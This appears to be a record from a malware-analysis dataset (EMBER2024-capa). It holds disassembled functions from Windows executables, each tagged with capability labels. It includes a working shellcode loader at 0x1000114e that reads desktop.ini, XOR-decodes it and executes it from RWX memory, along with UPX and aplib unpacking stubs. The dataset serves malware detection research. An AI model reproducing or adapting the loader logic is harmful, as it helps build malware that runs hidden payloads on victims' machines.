joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10076247
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x10076267
mov eax, 0x80004005
jmp 0x100762f5
lea eax, [ebp - 4]
push esi
push eax
xor esi, esi
push 0x2000000
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, esi
jne 0x100762f2
lea eax, [ebp - 0x10]
push edi
push eax
push esi
push esi
lea eax, [ebp - 8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push esi
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 8], 0x104
call edi
cmp eax, esi
jne 0x100762dc
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 4]
call 0x100c7d34
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 0x104
push eax
push esi
push esi
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x114]
push eax
push esi
push dword [ebp - 4]
jmp 0x100762a8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
pop edi
xor eax, eax
pop esi
leave
ret 8
Function at 0x1007d600
Capabilities:
Get geographical location

Disassembly:
mov eax, dword [0x100a60d0]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push edi
test eax, eax
jne 0x1007d648
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1007d62c
mov eax, 1
jmp 0x1007d643
push 0
push 0
push 1
push 0
call esi
test eax, eax
je 0x1007d728
mov eax, 2
mov dword [0x100a60d0], eax
cmp eax, 2
jne 0x1007d668
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
push eax
mov eax, dword [esp + 0x18]
push ecx
push edx
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
ret
cmp eax, 1
jne 0x1007d73a
mov eax, dword [esp + 0x24]
test eax, eax
jne 0x1007d683
mov ecx, dword [0x100a5bc8]
mov dword [esp + 0x24], ecx
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
push 0
push 0
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov edi, eax
test edi, edi
jne 0x1007d6a2
pop edi
pop esi
pop ebp
pop ebx
ret
lea edx, [edi + edi]
push edx
call fcn.1007a990
mov esi, eax
add esp, 4
test esi, esi
jne 0x1007d6b9
pop edi
pop esi
pop ebp
pop ebx
ret
push edi
push esi
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1007d71f
mov eax, dword [esp + 0x20]
push 0
test eax, eax
push 0
jne 0x1007d700
mov eax, dword [esp + 0x2c]
push 0
push 0
push 0xffffffffffffffff
push esi
push 0x220
push eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
je 0x1007d71f
push esi
call fcn.10079110
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x2c]
push eax
push ecx
push 0xffffffffffffffff
push esi
push 0x220
push edx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
jne 0x1007d72f
push esi
call fcn.10079110
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
call fcn.10079110
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x1d68058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1d681a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1d6807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1d6806a
add dl, dl
jne 0x1d68089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1d680dc
xor eax, eax
add dl, dl
jne 0x1d68096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1d6817d
add dl, dl
jne 0x1d680a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1d680b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1d680bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1d680c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1d680d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1d68075
mov eax, 1
add dl, dl
jne 0x1d680ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1d680f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1d680e1
sub eax, ebx
mov ebx, 1
jne 0x1d68128
mov ecx, 1
add dl, dl
jne 0x1d6810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1d68119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1d68105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1d68075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1d6813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1d6814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1d68136
cmp eax, 0x7d00
jae 0x1d6816d
cmp eax, 0x500
jb 0x1d68168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1d68075
cmp eax, 0x7f
ja 0x1d68170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1d68075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1d6819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1d68075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x82c4f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x16b000]
push edi
or ebp, 0xffffffff
jmp 0x82c512
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x82c519
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x82c508
mov eax, 1
add ebx, ebx
jne 0x82c52b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x82c53c
jne 0x82c55b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x82c55b
dec eax
add ebx, ebx
jne 0x82c548
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x82c520
add ebx, ebx
jne 0x82c557
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x82c5ad
xor ecx, ecx
sub eax, 3
jb 0x82c573
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x82c5e2
sar eax, 1
mov ebp, eax
jmp 0x82c57e
add ebx, ebx
jne 0x82c57e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x82c54c
inc ecx
add ebx, ebx
jne 0x82c58c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x82c54c
add ebx, ebx
jne 0x82c599
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x82c58e
jne 0x82c5aa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x82c58e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x82c5cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x82c5be
jmp 0x82c50e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x82c5cc
add edi, ecx
jmp 0x82c50e
pop esi
mov edi, esi
mov ecx, 0x69e2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x82c5ea
cmp byte [edi], 0x26
jne 0x82c5ea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x82c5ef
lea edi, [esi + 0x423000]
mov eax, dword [edi]
or eax, eax
je 0x82c667
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x430b94]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x430cd4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x82c61c
mov ecx, edi
jns 0x82c64b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x430cd8]
or eax, eax
je 0x82c661
mov dword [ebx], eax
add ebx, 4
jmp 0x82c639
call dword [esi + 0x430ce8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x82c698
cmp al, 0xef
ja 0x82c68b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x82c66d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x82c67a
mov ebp, dword [esi + 0x430cdc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x82c6cc
sub esp, 0xffffff80
jmp 0x4af6c0
Function at 0x1001000
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1038360
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x10495f8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 0x18], esi
xor ebx, ebx
mov dword [esi], vtable.CExceptionServersList.0
mov dword [esi + 4], ebx
mov eax, dword [0x104aaa4]
mov dword [ebp - 4], ebx
cmp eax, ebx
je 0x10010b9
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x14]
push ecx
push ebx
push ebx
push ebx
push str.ExceptionServers
push eax
call edi
test eax, eax
jne 0x10010b9
mov edx, dword [ebp - 0x14]
inc edx
push edx
call fcn.0100595d
add esp, 4
mov dword [esi + 4], eax
cmp eax, ebx
je 0x10010b9
mov edx, dword [0x104aaa4]
lea ecx, [ebp - 0x14]
push ecx
push eax
push ebx
push ebx
push str.ExceptionServers
push edx
call edi
test eax, eax
je 0x10010b9
mov eax, dword [esi + 4]
push eax
call fcn.01005968
add esp, 4
mov dword [esi + 4], ebx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10014e0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x58
mov eax, dword [0x10495f8]
xor eax, esp
mov dword [esp + 0x54], eax
push esi
push edi
mov edi, dword [esp + 0x64]
add ecx, 4
push 0x103a694
push ecx
call fcn.010231c4
mov esi, eax
add esp, 8
test esi, esi
je 0x1001591
cmp dword [esp + 0x68], 0
je 0x1001570
lea eax, [esp + 8]
push eax
call fcn.010230f5
lea ecx, [esp + 0xc]
push ecx
call fcn.01022c44
movzx ecx, word [esp + 0x18]
lea edx, [eax + 0x14]
push edx
push ecx
add eax, 4
push eax
push str.IEmon_v3
lea edx, [esp + 0x30]
push str._n_s__Time:__.15s._hu__s
push edx
call fcn.0102294a
lea eax, [esp + 0x38]
add esp, 0x20
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001556
sub eax, edx
push esi
push eax
lea eax, [esp + 0x20]
push 1
push eax
call fcn.01022efc
add esp, 0x10
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001575
push esi
sub eax, edx
push eax
push 1
push edi
call fcn.01022efc
push esi
call fcn.01022d1e
add esp, 0x14
mov ecx, dword [esp + 0x5c]
pop edi
pop esi
xor ecx, esp
call fcn.01022396
add esp, 0x58
ret 8
Function at 0x1001880
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x1001899
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10018d4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x10018d0
lea ebx, [ebx]
cmp esi, eax
jae 0x10018d4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x10018c0
cmp esi, eax
jb 0x10018da
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x1001960
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x1c
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 8]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExtSettings
push 0x80000001
mov esi, 1
call edi
test eax, eax
jne 0x10019c9
mov edx, dword [esp + 8]
lea ecx, [esp + 0xc]
push ecx
push 0x20019
push eax
push str.0055C089_8582_441B_A0BF_17B458C2A3A8
push edx
call edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x10019b6
mov eax, dword [esp + 0xc]
push eax
xor esi, esi
call edi
mov ecx, dword [esp + 8]
push ecx
call edi
test esi, esi
jne 0x10019c9
pop edi
xor eax, eax
pop esi
add esp, 0x1c
ret
mov ecx, dword [0x104aaa4]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x20]
push eax
push 0
push 0
push str.lstbhotime
push ecx
mov dword [esp + 0x28], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10019c1
lea edx, [esp + 0x14]
push edx
call fcn.0102376c
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
add esp, 4
sub eax, dword [esp + 0x1c]
sbb ecx, dword [esp + 0x20]
mov dword [esp + 0x20], ecx
js 0x1001a21
jg 0x10019c1
cmp eax, 0x15180
ja 0x10019c1
pop edi
mov eax, 1
pop esi
add esp, 0x1c
ret
Function at 0x1002870
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10384a8
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x10495f8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edx, dword [0x104aaa4]
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x1c]
push ecx
xor esi, esi
push esi
push esi
push str.AdvancedIntegration
push edx
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, dword [ebp + 0xc]
push 0x3f
push ebx
call fcn.01022410
add esp, 8
test eax, eax
je 0x1002901
cmp byte [ebp + 0x20], 0
je 0x1002901
push 8
push ebx
push str.https:__
call fcn.01035077
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x20
mov edi, dword [ebp + 0x18]
cmp edi, esi
je 0x100291b
mov eax, edi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1002910
sub eax, edx
mov esi, eax
mov ecx, dword [ebp + 0x10]
push ecx
lea ecx, [ebp - 0x14]
call fcn.01001e30
mov eax, dword [ebp + 0x24]
mov ecx, dword [ebp + 0x1c]
xor edx, edx
cmp byte [ebp + 0x20], dl
mov byte [ebp - 4], 1
setne dl
lea edx, [edx*4 + 4]
push edx
mov edx, dword [ebp - 0x14]
push eax
mov eax, dword [ebp + 0x14]
push ecx
mov ecx, dword [ebp + 8]
push esi
push edi
push 0
push edx
push 0
push 0
push eax
push ebx
push ecx
call fcn.01002500
add esp, 0x30
test al, al
jne 0x1002973
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp 0x10028eb
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x20
Function at 0x1008a6c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x1008a90
cmp dword [edi + 0x54], 0
jne 0x1008a90
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.0100ac71
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.01008a2d
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x10091cc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x1009214
call fcn.0100ac71
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x1009214
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x1009257
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x1009240
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x1009240
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x1009254
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x1010153
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x101019a
call fcn.0100ac71
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x101019a
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x10101b6
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0100fccd
mov esi, eax
test edi, edi
je 0x10101b4
test ebx, ebx
je 0x10101b4
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1010a52
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x1038ccd
call fcn.0102412a
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x1010a77
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x1010abd
lea ecx, [ebp - 0x10]
call fcn.01003180
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.01009c98
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.01001a30
mov eax, esi
call fcn.01024202
ret 8

Function at 0x1022396
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10495f8]
jne 0x10223a0
repz ret
jmp fcn.01028c3c
Function at 0x10016c39
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10016c53
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x10016c9e
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x10016c81
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 2
jge 0x10016c9e
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x10]
call fcn.10018bb0
mov dword [eax], 0x417be18
jmp 0x10016c76
mov esp, ebp
pop ebp
ret

Function at 0x10016faf
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10016fed
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x10016feb
push 0
push 0xab1
push 0
push 0
push 0x1801
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x10017035
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x1001701b
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 1
jge 0x10017035
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x18]
call fcn.10018bb0
and dword [eax], 0
jmp 0x10017010
mov esp, ebp
pop ebp
ret
Function at 0x1001f123
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1001f161
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x1001f15f
push 0
push 0xab1
push 0
push 0
push 0x1801
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x1001f1bb
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
mov dword [eax], 2
jmp 0x1001f18f
mov eax, dword [ebp - 4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jl 0x1001f1bb
mov dword [ebp - 8], 8
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x1c]
call fcn.10018bb0
cmp dword [eax], 0
je 0x1001f1b9
jmp 0x1001f1bb
jmp 0x1001f184
mov esp, ebp
pop ebp
ret

Function at 0x1001f704
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1001f71e
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x1001f742
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
push 1
mov ecx, dword [ebp - 0xc]
call fcn.10018bb0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov esp, ebp
pop ebp
ret